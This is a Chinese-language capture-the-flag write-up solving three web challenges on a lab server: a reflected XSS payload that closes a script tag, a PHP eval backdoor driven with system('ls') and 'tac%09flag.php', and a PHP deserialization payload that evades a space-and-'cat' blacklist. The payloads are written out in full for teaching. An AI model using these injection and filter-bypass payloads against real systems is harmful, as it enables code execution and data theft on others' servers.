week 1 for cnas writeup
前言
昨天晚上在暑假实习部门群里,前辈说以后每周发三个CTF的题目,再加上自己最近也想做做CTF的题,遂早上起来把题目做了下,写下writeup记录。
alert
题目链接
http://47.100.121.220:28001/01.php
解答
这是一个简单的xss题,首先审查下元素,任意输入一个值。
1 | <script> |
可以看到输入的值1被加到了document.write函数中输出,这里只需要把document.write的script标签闭合,再插入一个xss payload即可、
payload
1 | </script><script>alert(/xss/)</script> |
PHP一句话
题目链接
http://47.100.121.220:28002/02.php
解答
这个题目有点坑的,我自己也有点瞎的。在沈大佬的提醒下发现
1 | <a style="display:none">password=style_is_display_none</a> |
WTF,我审查元素没有注意,这里提示了password=style_is_display_none了,跟第三题一样没认真的看题。
遂构造payload
1 | password=style_is_display_none&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
1 | <?php |
看代码,我们可以利用eval来执行任意代码,执行system(“ls”)查看当前目录下的文件
1 | http://47.100.121.220:28002/02.php?1=system("ls"); |
再用cat查看flag.php,这里貌似还是不能用cat,所以用tac吧
1 | http://47.100.121.220:28002/02.php?1=system("tac%09flag.php"); |
PHP是最好的语言
题目链接
解答
先用御剑扫目录发现 www.zip 文件,下载解压查看源码如下
function.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36<?php
$xkey='xxxxxxx'; #don't tell you.
class Neo{
public $cmd;
public $key;
function __construct($cmd,$key){
$this->cmd=$cmd;
$this->key=$key;
}
function __wakeup(){
$this->run();
}
function run(){
$this->waf();
global $xkey;
if ($this->key === $xkey){
system($this->cmd);
}
}
function waf(){
$black = array(' ','cat');
foreach ($black as $key => $value) {
if(stripos($this->cmd,$value)){
die("Attack!");
}
}
}
}
404.php1
2
3
4<?php
include "404.html";
include "function.php";
@unserialize($_POST['power']);
读源码可知这是一个php反序列化的题
php反序列化问题可以参考我之前的博客
可以在404.php页面用变量power提交payload,在function中的Neo类有两个成员变量,一个key,一个cmd。key值这个地方我一直以为是xxxxxxx,后来才看到index页面有提示Key值为php_is_nice
遂构造payload 先查看当前目录的文件,payload如下:
1 | power=O:3:"Neo":2:{s:3:"key";s:11:"php_is_nice";s:3:"cmd";s:2:"ls";} |
可以看到存在flag.php文件 在由function的代码可以知道我们需要读flag.php的内容
1 | function waf(){ |
由waf函数可以知道,过滤了cat和空格。在这里我们可以用
%09 绕过空格 tac绕过cat
其中 空格绕过
tac
cat命令可以显示文件的内容,它反过来写就是tac,而tac恰巧也是一个Linux命令,它的功能就是把文件内容反过来显示,文件内容的最后一行先显示,第一行最后显示
遂构造payload
1 | power=O:3:"Neo":2:{s:3:"key";s:11:"php_is_nice";s:3:"cmd";s:12:"tac%09flag.php";} |